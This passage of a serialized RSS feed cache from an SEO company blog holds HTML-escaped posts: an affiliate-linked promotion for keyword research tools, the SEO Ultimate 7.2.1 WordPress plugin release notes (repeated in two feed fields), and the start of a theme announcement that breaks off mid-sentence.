type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;369\&quot; src=\&quot;http://www.youtube.com/v/UU61MNyQKvw?version=3&amp;amp;hl=en_US&amp;amp;rel=0\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;Would you rather rank for one keyword or rank for hundreds to thousands of keywords, that allow you to reach that “one” keyword faster while you enjoy the fruit of &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-tips/seo-rankings-and-how-to-create-them/\&quot;&gt;keyword stemming&lt;/a&gt; (ranking for stemmed variations) along the way?&lt;/p&gt;\n&lt;p&gt;Time is the real asset in SEO and the extent of the volume of work you can accomplish depends on the tools you have at your disposal, and the team that you have to implement those tactics; especially when it comes to SEO and competing in saturated markets.&lt;/p&gt;\n&lt;p&gt;To use an analogy, working with the wrong tools (against a seasoned competitor) is like bringing 3 men to a battle when your adversary has an army. No matter what strategy you implement (with those 3 men) their limited scope and resources will fall short when &lt;strong&gt;the numbers game&lt;/strong&gt; creeps into the equation.&lt;/p&gt;\n&lt;p&gt;For a website to knock an authority site off the pedestal of the #1 position, it needs both (1) a foundation that is broad enough to support the ascent (by leveraging semantically structured supporting content) and (2) enough vertical milestones (categories and landing pages) to reach the apex for the primary phrase. This means for competitive markets, you may require thousands of pages (to support the mid tail and lucrative / competitive keywords) and dozens to hundreds of links to critical internal pages to reach the aggregate tipping point to reach the apex of a market.&lt;/p&gt;\n&lt;p&gt;But also keep in mind, that for every primary keyword, there are dozens of mid-tail and long-tail keywords that are equally as lucrative (if you devour the entire market along the way).&lt;/p&gt;\n&lt;h3&gt;The Project Management Module&lt;/h3&gt;\n&lt;p&gt;&lt;object classid=\&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\&quot; width=\&quot;500\&quot; height=\&quot;369\&quot; codebase=\&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\&quot;&gt;&lt;param name=\&quot;allowFullScreen\&quot; value=\&quot;true\&quot; /&gt;&lt;param name=\&quot;allowscriptaccess\&quot; value=\&quot;always\&quot; /&gt;&lt;param name=\&quot;src\&quot; value=\&quot;http://www.youtube.com/v/QiSJJP4WiAY?version=3&amp;amp;hl=en_US&amp;amp;rel=0\&quot; /&gt;&lt;param name=\&quot;allowfullscreen\&quot; value=\&quot;true\&quot; /&gt;&lt;embed type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;500\&quot; height=\&quot;369\&quot; src=\&quot;http://www.youtube.com/v/QiSJJP4WiAY?version=3&amp;amp;hl=en_US&amp;amp;rel=0\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;\n&lt;p&gt;To create websites and manage the process (using clusters and co-occurrence), you need a scalable system that allows you to (a) identify keyword and markets (b) model data, cost, time management and resources and calculate ROI from &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/the-psychology-of-a-click-through-understanding-intention-fulfillment-and-desire/\&quot;&gt;click through rates&lt;/a&gt;, time to rank, the volume of content and internal links required per keyword or the number of deep links you will need (&lt;em&gt;that was our proprietary algorithm and you can see it work in Video 1 on the silo framework module above&lt;/em&gt;) &amp;#8211; that is the power of DWS, Krakken and The Last Keyword Tool; that is the collective suite known as &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;Network Empire&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;The volume and extent of the work you execute depends on the system and tools you have at your disposal, especially when SEO and competitive saturated markets are the battleground.&lt;/p&gt;\n&lt;p&gt;Working with advanced SEO tools allows you to plan your roll-out with more depth, a more robust array of theme relevant supporting articles, categories and landing pages and allows you to work smarter and not harder when chipping away at market defining phrases.&lt;/p&gt;\n&lt;p&gt;I have had the distinct honor of working with some of the most brilliant minds (the team from Themezoom) over the past 5 years and I can assure you that there are only a handful of people who understand and implement SEO on this level.&lt;/p&gt;\n&lt;p&gt;While this was our best kept secret for years &lt;strong&gt;“The Krakken”&lt;/strong&gt;, now it is time to borrow a phrase from Hades from Clash of the Titans and &lt;strong&gt;“Release the Krakken”!&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;This suite will allow you to walk into a market cold and within 20 minutes have the creamy keywords that float to the top in which to base your existing legacy site (by breathing life into it with a new blog) or start anew and scale the market in a fraction of the time.&lt;/p&gt;\n&lt;p&gt;If you are struggling to find theme relevant keywords (based on sophisticated information retrieval algorithms such as sparse matrix clustering, co-occurrence, Bayes, PaIR, LSI and semantic connectivity) then the Krakken (which drills into 60-90,000 keywords in under 5 minutes) only brings you back phrases which are (1) theme relevant to the parent cluster (original keyword) and (2) either have organic search value or PPC search value.&lt;/p&gt;\n&lt;p&gt;When you continue to refine, add synonyms and keep drilling, you end up with the perfect blueprint (like a skeleton) in which to build out your website into a robust authority site or niche specific entity.&lt;/p&gt;\n&lt;p&gt;This means that if you include these phrases (in their respective website silo architecture) then the entire cluster gets devoured and you rank for more keywords with fewer inbound links (since your own website becomes its own PageRank and link-flow spewing, top 10 ranking juggernaut).&lt;/p&gt;\n&lt;p&gt;Keep in mind that the Krakken transcends ordinary keyword research and uses the same type of natural data hierarchy information retrieval structures (such as Google, Yahoo and Bing) use to ascertain relevance.&lt;/p&gt;\n&lt;p&gt;In short, a blueprint from the Krakken is like mirroring the ideal on page SEO elements, synonyms and synonymic sets search engines grade relevance score with as a conditional metric when analyzing authoritative websites and sorting the wheat from the chaff for positioning.&lt;/p&gt;\n&lt;p&gt;Rarely would I share the exact tools we use to inspect, enter and  dominate markets, but in the spirit of the New Year I do have one  special offer I have been permitted to pass along (for a very limited  time) to all of you who either get our email / blog posts, read  whitepapers and updates from our plugin SEO Ultimate or know who we are  and what we do.&lt;/p&gt;\n&lt;p&gt;In this special offer you get the opportunity to (1) unleash the Krakken in your market (2) it’s powerful and quite formidable little brother “The Last Keyword Tool” and (3) the DWS (Domain Web Studio) the most powerful SEO management suite ever conceived for:&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;a)&lt;/strong&gt; mapping out markets&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;b)&lt;/strong&gt; creating properly themed websites with silo site architecture&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;c)&lt;/strong&gt; managing all elements of the campaign from outsourcing content creation, project management, web development and SEO tasks and most importantly&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;d)&lt;/strong&gt; having a syndication blueprint that creates a timeline for every keyword, assesses its cost, time to rank, ROI and even lets you know how to cross the tipping-point with every keyword in a blueprint.&lt;/p&gt;\n&lt;p&gt;Put simply, this bundle is a must! We have paid $12,000 a year just to use the Krakken, in this offer, you will have to &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;click and see for yourself&lt;/a&gt; the savings you can receive.&lt;/p&gt;\n&lt;p&gt;Do yourself a favor; you can win the battle before you even step on the field. I speak from experience on this one, we can do more in less time and completely crush seasoned competitors (such as brands, Wikipedia results, Amazon, Target, Wal-mart and other “strong sites”) using the formula’s developed from building sites (and links) in tandem with a search engines natural data hierarchy – and that is what you will learn from using this suite .&lt;/p&gt;\n&lt;p&gt;In essence, Network Empire silently slays competitors and uses unstoppable algorithms (that search engines love and reward), and now, for a limited time you can save hundreds by &lt;a href=\&quot;http://www.networkempire.com/dap/a/?a=152&amp;amp;p=http://www.networkempire.com/bundle-offers/\&quot;&gt;following this link&lt;/a&gt; and getting your subscription for a hefty discount.&lt;/p&gt;\n&lt;p&gt;In closing, for those naysayers, here are links to an exclusive webinar on the DWS 3.5 launch and other videos on the Krakken and The Last Keyword Tool.&lt;/p&gt;\n&lt;p&gt;This is not a marketing ploy; this is a special offer with bona fide savings for those of you who are serious about dominating your market. This offer will not last and will be pulled in the next 24-48 hours. Act now, or pay full price later. I leave the rest to you…&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;https://plus.google.com/109189625824502979466/?rel=author\&quot; rel=\&quot;author\&quot;&gt; -Jeffrey&lt;/a&gt;&lt;/p&gt;&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=5QuEJFZhVcg:Ocd5kHoh-_M:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/5QuEJFZhVcg\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:20;a:12:{s:5:\&quot;title\&quot;;s:56:\&quot;SEO Ultimate WordPress SEO Plugin Version 7.2.1 Released\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/nLTz4RFbIKc/\&quot;;s:8:\&quot;category\&quot;;s:25:\&quot;WordPress SEOSEO Ultimate\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;John Lamansky\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Sat, 31 Dec 2011 15:37:34 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9069\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:7872:\&quot;&lt;p&gt;SEO Ultimate (the free WordPress SEO plugin from &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;SEO Design Solutions&lt;/a&gt;) has seen 4 new releases in the last few weeks. Here&amp;#8217;s the scoop on the latest features:&lt;/p&gt;\n&lt;div id=\&quot;attachment_9074\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 403px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/seo-ultimate-7-2-1/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9074\&quot; title=\&quot;seo-ultimate-7-1-2\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/12/seo-ultimate-7-1-2.jpg\&quot; alt=\&quot;\&quot; width=\&quot;393\&quot; height=\&quot;251\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Take WordPress and Rankings to a Higher Level with SEO Ultimate.&lt;/p&gt;&lt;/div&gt;\n&lt;h3&gt;Global Link Mask Admin Interface&lt;/h3&gt;\n&lt;p&gt;The Link Mask Generator module, which first came out almost exactly a year ago, has been overhauled with a brand new administration interface that lets you create link masks that apply globally across your entire WordPress-powered website.&lt;span id=\&quot;more-9069\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;As in previous versions of SEO Ultimate, Link Mask Generator scans your posts for links and gives you the option of generating an alternate URL that redirects to the &amp;#8220;real&amp;#8221; URL.&lt;/p&gt;\n&lt;p&gt;For example, if your post contains a link to www.amazon.com, you can use Link Mask Generator to change that link URL to www.your-website.tld/go/amazon/. When your visitors click the link to go to www.your-website.tld/go/amazon/, they are seamlessly redirected to the original URL at www.amazon.com.&lt;/p&gt;\n&lt;p&gt;Link masking has two benefits: First, it lets you replace lengthy affiliate URLs with short, clean, internal URL masks (using 301 redirects, which have no search engine penalty). Second, Link Mask Generator automatically generates robots.txt rules that disallow your masked URLs, effectively neutering the juice-flow of the link, without resorting to the rel nofollow attribute. This combination makes Link Mask Generator a perfect tool for affiliate marketers.&lt;/p&gt;\n&lt;p&gt;The latest releases of SEO Ultimate expand on this existing functionality by adding a new global interface which lets you see all your link masks in one place and which lets you apply a link mask globally instead of just to one post as before.&lt;/p&gt;\n&lt;p&gt;Just go to the new &amp;#8220;Link Mask Generator&amp;#8221; menu item under SEO Ultimate&amp;#8217;s &amp;#8220;SEO&amp;#8221; menu in your WordPresss admin to view and edit the alias list. The alias table includes a field for the actual URL (e.g. www.amazon.com), a field for the alias URL (e.g. /go/amazon/), a &amp;#8220;test&amp;#8221; link that lets you check that the alias URL is working, and an optional &amp;#8220;Only on This Post&amp;#8221; field that lets you limit the application of the link mask to a specific post (thereby emulating the functionality of the previous version of Link Mask Generator).&lt;/p&gt;\n&lt;p&gt;If you have an affiliate URL that you use in multiple posts across your entire site, the new version of Link Mask Generator lets you mask all instances of that URL in one fell swoop.&lt;/p&gt;\n&lt;h3&gt;Deeplink Juggernaut &amp;amp; Link Mask Generator Integration&lt;/h3&gt;\n&lt;p&gt;One of the great things about having all your SEO features in one plugin is that the modules can integrate with each other. Deeplink Juggernaut and Link Mask Generator can now work together starting with SEO Ultimate 7.1, allowing you to use link masks as autolinking destinations in Deeplink Juggernaut.&lt;/p&gt;\n&lt;p&gt;Let&amp;#8217;s say you&amp;#8217;ve already used Link Mask Generator to mask all your www.amazon.com links with internal /go/amazon/ URLs. Now let&amp;#8217;s say you want to autolink all instances of the word &amp;#8220;Amazon&amp;#8221; to your new /go/amazon/ URL. Just go to the &amp;#8220;Add a New Link&amp;#8221; section of the &amp;#8220;Content Links&amp;#8221; tab of Deeplink Juggernaut, type &amp;#8220;Amazon&amp;#8221; in the &amp;#8220;Anchor Text&amp;#8221; box, and type &amp;#8220;amazon&amp;#8221; in the &amp;#8220;Destination&amp;#8221; box. Then click the /go/amazon/ item that appears in the dropdown beneath the &amp;#8220;Destination&amp;#8221; box. Then just click Save Changes to add the new autolink.&lt;/p&gt;\n&lt;p&gt;Now all instances of the word &amp;#8220;Amazon&amp;#8221; (in our example) will autolink to http://www.your-website.tld/go/amazon/. When a visitor clicks the link, he or she will be silently redirected to the original URL at www.amazon.com.&lt;/p&gt;\n&lt;p&gt;This conjunction of Deeplink Juggernaut and Link Mask Generator functionality is a perfect combo for affiliate marketers looking to autolink all instances of a relevant keyword to a masked affiliate URL.&lt;/p&gt;\n&lt;h3&gt;More Features, Changes, &amp;amp; Fixes&lt;/h3&gt;\n&lt;p&gt;Those 2 features are the headline additions to the latest versions of SEO Ultimate, but there&amp;#8217;s even more worth mentioning:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Permalink Tweaker now includes a new setting that lets you handle URL conflicts between pages and categories/tags that can arise when you use Permalink Tweaker to remove category/tag URL bases. For example, if you have a category called &amp;#8220;Blue Widgets&amp;#8221; and a page called &amp;#8220;Blue Widgets,&amp;#8221; and if you have configured Permalink Tweaker to remove the /category/ portion of your categories&amp;#8217; URLs, then both the page and the category will have the URL of http://www.your-website.tld/blue-widgets/. As of SEO Ultimate 7.2, Permalink Tweaker includes a new &amp;#8220;URL Conflict Resolution&amp;#8221; setting that lets you choose whether the category or the page should get the URL in case of a conflict.&lt;/li&gt;\n&lt;li&gt;In previous versions of SEO Ultimate, modules had multiple help dropdowns (in the upper-right-hand corner of the module admin pages) containing module documentation, such as &amp;#8220;Overview,&amp;#8221; &amp;#8220;FAQ,&amp;#8221; &amp;#8220;Troubleshooting,&amp;#8221; etc. As of version 7.0 and later, SEO Ultimate now uses the new help system of WordPress 3.3 that places all these documentation sections into a single &amp;#8220;Help&amp;#8221; dropdown with multiple tabs.&lt;/li&gt;\n&lt;li&gt;Deeplink Juggernaut&amp;#8217;s &amp;#8220;Tag Restrictions&amp;#8221; setting should now handle nested tags with aplomb. If you&amp;#8217;ve configured Deeplink Juggernaut to refrain from autolinking within &amp;lt;h3&amp;gt; tags, for example, this setting will now take effect even if that &amp;lt;h3&amp;gt; tag has a nested &amp;lt;span&amp;gt; tag or &amp;lt;br /&amp;gt; tag. If this bug has been giving you trouble, upgrade to SEO Ultimate 7.2.1 or later and let us know whether the fix is working for you.&lt;/li&gt;\n&lt;li&gt;Meta Description Editor now lets you differentiate your meta descriptions on paginated subpages of categories, tags, and pages. For example, you can use Meta Description Editor to automatically tack on &amp;#8220;Page 2&amp;#8243; to the end of the meta description of page 2 of a category archive. This new feature helps avoid &amp;#8220;duplicate meta description&amp;#8221; errors in Google Webmaster Tools.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Download version 7.2.1 today to enjoy the new features and multiple enhancements. If you&amp;#8217;re already one of the thousands who use SEO Ultimate, you can upgrade for free via your WordPress plugin admin section. If you&amp;#8217;re a new user who&amp;#8217;d like to take advantage of this powerful free plugin, you can &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;download it from WordPress.org&lt;/a&gt; or search for &amp;#8220;SEO Ultimate&amp;#8221; on your blog&amp;#8217;s plugin install screen.&lt;/p&gt;\n&lt;p&gt;Also, you can view or download &lt;strong&gt;All of SEO Ultimate&amp;#8217;s Features&lt;/strong&gt; by right-clicking and saving this convenient PDF file (&lt;a href=\&quot;http://www.seodesignsolutions.com/wordpress-seo/SEO_Ultimate_Feature_List.pdf\&quot;&gt;The SEO Ultimate Feature List&lt;/a&gt;).&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=nLTz4RFbIKc:nB5tfGv9-p8:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/nLTz4RFbIKc\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:335:\&quot;SEO Ultimate (the free WordPress SEO plugin from SEO Design Solutions) has seen 4 new releases in the last few weeks. Here&amp;#8217;s the scoop on the latest features: Global Link Mask Admin Interface The Link Mask Generator module, which first came out almost exactly a year ago, has been overhauled with a brand new administration [...]\&quot;;s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;15\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:72:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/seo-ultimate-7-2-1/\&quot;;}s:7:\&quot;summary\&quot;;s:335:\&quot;SEO Ultimate (the free WordPress SEO plugin from SEO Design Solutions) has seen 4 new releases in the last few weeks. Here&amp;#8217;s the scoop on the latest features: Global Link Mask Admin Interface The Link Mask Generator module, which first came out almost exactly a year ago, has been overhauled with a brand new administration [...]\&quot;;s:12:\&quot;atom_content\&quot;;s:7872:\&quot;&lt;p&gt;SEO Ultimate (the free WordPress SEO plugin from &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;SEO Design Solutions&lt;/a&gt;) has seen 4 new releases in the last few weeks. Here&amp;#8217;s the scoop on the latest features:&lt;/p&gt;\n&lt;div id=\&quot;attachment_9074\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 403px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/seo-ultimate-7-2-1/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9074\&quot; title=\&quot;seo-ultimate-7-1-2\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/12/seo-ultimate-7-1-2.jpg\&quot; alt=\&quot;\&quot; width=\&quot;393\&quot; height=\&quot;251\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Take WordPress and Rankings to a Higher Level with SEO Ultimate.&lt;/p&gt;&lt;/div&gt;\n&lt;h3&gt;Global Link Mask Admin Interface&lt;/h3&gt;\n&lt;p&gt;The Link Mask Generator module, which first came out almost exactly a year ago, has been overhauled with a brand new administration interface that lets you create link masks that apply globally across your entire WordPress-powered website.&lt;span id=\&quot;more-9069\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;As in previous versions of SEO Ultimate, Link Mask Generator scans your posts for links and gives you the option of generating an alternate URL that redirects to the &amp;#8220;real&amp;#8221; URL.&lt;/p&gt;\n&lt;p&gt;For example, if your post contains a link to www.amazon.com, you can use Link Mask Generator to change that link URL to www.your-website.tld/go/amazon/. When your visitors click the link to go to www.your-website.tld/go/amazon/, they are seamlessly redirected to the original URL at www.amazon.com.&lt;/p&gt;\n&lt;p&gt;Link masking has two benefits: First, it lets you replace lengthy affiliate URLs with short, clean, internal URL masks (using 301 redirects, which have no search engine penalty). Second, Link Mask Generator automatically generates robots.txt rules that disallow your masked URLs, effectively neutering the juice-flow of the link, without resorting to the rel nofollow attribute. This combination makes Link Mask Generator a perfect tool for affiliate marketers.&lt;/p&gt;\n&lt;p&gt;The latest releases of SEO Ultimate expand on this existing functionality by adding a new global interface which lets you see all your link masks in one place and which lets you apply a link mask globally instead of just to one post as before.&lt;/p&gt;\n&lt;p&gt;Just go to the new &amp;#8220;Link Mask Generator&amp;#8221; menu item under SEO Ultimate&amp;#8217;s &amp;#8220;SEO&amp;#8221; menu in your WordPresss admin to view and edit the alias list. The alias table includes a field for the actual URL (e.g. www.amazon.com), a field for the alias URL (e.g. /go/amazon/), a &amp;#8220;test&amp;#8221; link that lets you check that the alias URL is working, and an optional &amp;#8220;Only on This Post&amp;#8221; field that lets you limit the application of the link mask to a specific post (thereby emulating the functionality of the previous version of Link Mask Generator).&lt;/p&gt;\n&lt;p&gt;If you have an affiliate URL that you use in multiple posts across your entire site, the new version of Link Mask Generator lets you mask all instances of that URL in one fell swoop.&lt;/p&gt;\n&lt;h3&gt;Deeplink Juggernaut &amp;amp; Link Mask Generator Integration&lt;/h3&gt;\n&lt;p&gt;One of the great things about having all your SEO features in one plugin is that the modules can integrate with each other. Deeplink Juggernaut and Link Mask Generator can now work together starting with SEO Ultimate 7.1, allowing you to use link masks as autolinking destinations in Deeplink Juggernaut.&lt;/p&gt;\n&lt;p&gt;Let&amp;#8217;s say you&amp;#8217;ve already used Link Mask Generator to mask all your www.amazon.com links with internal /go/amazon/ URLs. Now let&amp;#8217;s say you want to autolink all instances of the word &amp;#8220;Amazon&amp;#8221; to your new /go/amazon/ URL. Just go to the &amp;#8220;Add a New Link&amp;#8221; section of the &amp;#8220;Content Links&amp;#8221; tab of Deeplink Juggernaut, type &amp;#8220;Amazon&amp;#8221; in the &amp;#8220;Anchor Text&amp;#8221; box, and type &amp;#8220;amazon&amp;#8221; in the &amp;#8220;Destination&amp;#8221; box. Then click the /go/amazon/ item that appears in the dropdown beneath the &amp;#8220;Destination&amp;#8221; box. Then just click Save Changes to add the new autolink.&lt;/p&gt;\n&lt;p&gt;Now all instances of the word &amp;#8220;Amazon&amp;#8221; (in our example) will autolink to http://www.your-website.tld/go/amazon/. When a visitor clicks the link, he or she will be silently redirected to the original URL at www.amazon.com.&lt;/p&gt;\n&lt;p&gt;This conjunction of Deeplink Juggernaut and Link Mask Generator functionality is a perfect combo for affiliate marketers looking to autolink all instances of a relevant keyword to a masked affiliate URL.&lt;/p&gt;\n&lt;h3&gt;More Features, Changes, &amp;amp; Fixes&lt;/h3&gt;\n&lt;p&gt;Those 2 features are the headline additions to the latest versions of SEO Ultimate, but there&amp;#8217;s even more worth mentioning:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Permalink Tweaker now includes a new setting that lets you handle URL conflicts between pages and categories/tags that can arise when you use Permalink Tweaker to remove category/tag URL bases. For example, if you have a category called &amp;#8220;Blue Widgets&amp;#8221; and a page called &amp;#8220;Blue Widgets,&amp;#8221; and if you have configured Permalink Tweaker to remove the /category/ portion of your categories&amp;#8217; URLs, then both the page and the category will have the URL of http://www.your-website.tld/blue-widgets/. As of SEO Ultimate 7.2, Permalink Tweaker includes a new &amp;#8220;URL Conflict Resolution&amp;#8221; setting that lets you choose whether the category or the page should get the URL in case of a conflict.&lt;/li&gt;\n&lt;li&gt;In previous versions of SEO Ultimate, modules had multiple help dropdowns (in the upper-right-hand corner of the module admin pages) containing module documentation, such as &amp;#8220;Overview,&amp;#8221; &amp;#8220;FAQ,&amp;#8221; &amp;#8220;Troubleshooting,&amp;#8221; etc. As of version 7.0 and later, SEO Ultimate now uses the new help system of WordPress 3.3 that places all these documentation sections into a single &amp;#8220;Help&amp;#8221; dropdown with multiple tabs.&lt;/li&gt;\n&lt;li&gt;Deeplink Juggernaut&amp;#8217;s &amp;#8220;Tag Restrictions&amp;#8221; setting should now handle nested tags with aplomb. If you&amp;#8217;ve configured Deeplink Juggernaut to refrain from autolinking within &amp;lt;h3&amp;gt; tags, for example, this setting will now take effect even if that &amp;lt;h3&amp;gt; tag has a nested &amp;lt;span&amp;gt; tag or &amp;lt;br /&amp;gt; tag. If this bug has been giving you trouble, upgrade to SEO Ultimate 7.2.1 or later and let us know whether the fix is working for you.&lt;/li&gt;\n&lt;li&gt;Meta Description Editor now lets you differentiate your meta descriptions on paginated subpages of categories, tags, and pages. For example, you can use Meta Description Editor to automatically tack on &amp;#8220;Page 2&amp;#8243; to the end of the meta description of page 2 of a category archive. This new feature helps avoid &amp;#8220;duplicate meta description&amp;#8221; errors in Google Webmaster Tools.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Download version 7.2.1 today to enjoy the new features and multiple enhancements. If you&amp;#8217;re already one of the thousands who use SEO Ultimate, you can upgrade for free via your WordPress plugin admin section. If you&amp;#8217;re a new user who&amp;#8217;d like to take advantage of this powerful free plugin, you can &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;download it from WordPress.org&lt;/a&gt; or search for &amp;#8220;SEO Ultimate&amp;#8221; on your blog&amp;#8217;s plugin install screen.&lt;/p&gt;\n&lt;p&gt;Also, you can view or download &lt;strong&gt;All of SEO Ultimate&amp;#8217;s Features&lt;/strong&gt; by right-clicking and saving this convenient PDF file (&lt;a href=\&quot;http://www.seodesignsolutions.com/wordpress-seo/SEO_Ultimate_Feature_List.pdf\&quot;&gt;The SEO Ultimate Feature List&lt;/a&gt;).&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=nLTz4RFbIKc:nB5tfGv9-p8:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/nLTz4RFbIKc\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot;/&gt;\&quot;;}i:21;a:12:{s:5:\&quot;title\&quot;;s:58:\&quot;Coming Soon: The WP Ultimate Theme Framework for WordPress\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/STqwpedf5Qs/\&quot;;s:8:\&quot;category\&quot;;s:102:\&quot;WordPress SEOPremium WordPress SEO Theme FrameworkWordPress SEO ThemesWP UltimateWP Ultimate SEO Theme\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Mon, 19 Dec 2011 05:06:40 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9061\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:2579:\&quot;&lt;p&gt;After one year of toiling away in the labs, we are preparing for the launch of &lt;strong&gt;The WP Ultimate Theme&lt;/strong&gt; (a powerful, flexible and dynamic premium SEO framework for WordPress) designed to work in tandem with &lt;a href=\&quot;http://wordpress.org/extend/plugins/seo-ultimate/\&quot;&gt;SEO Ultimate&lt;/a&gt; (our WordPress SEO plugin).&lt;/p&gt;\n&lt;div id=\&quot;attachment_9060\&quot; class=\&quot;wp-caption aligncenter\&quot; style=\&quot;width: 510px\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/coming-soon-the-wp-ultimate-theme-framework-for-wordpress/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-9060\&quot; title=\&quot;sneak-peak\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2011/12/sneak-peak.jpg\&quot; alt=\&quot;\&quot; width=\&quot;500\&quot; height=\&quot;185\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;The WP Ultimate Theme: So Powerful, It Should Have Its Own Cape!&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;Our objective is simple, to provide users with fine-grained control over multiple on page settings (&lt;em&gt;such as nearly instantaneous site architecture injection, custom navigation options, multiple layout and theme choices, breadcrumbs, internal links, widgets, typography controls and more&lt;/em&gt;) for the optimal WordPress SEO framework.&lt;/p&gt;\n&lt;p&gt;Rather than spill the beans now, I will be posting sneak previews of the features as well as preparing some unique use-case examples of how to leverage the power of WP and SEO Ultimate in tandem.&lt;/p&gt;\n&lt;p&gt;If you know us by now, you know that &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/\&quot;&gt;SEO Design Solutions&lt;/a&gt; is not about shallow or flimsy SEO tactics or tools; everything we do is cutting-edge and is founded on years of battle tested tactics that dominate search engines and produce real-world results by their very design.&lt;/p&gt;\n&lt;p&gt;WP Ultimate is no 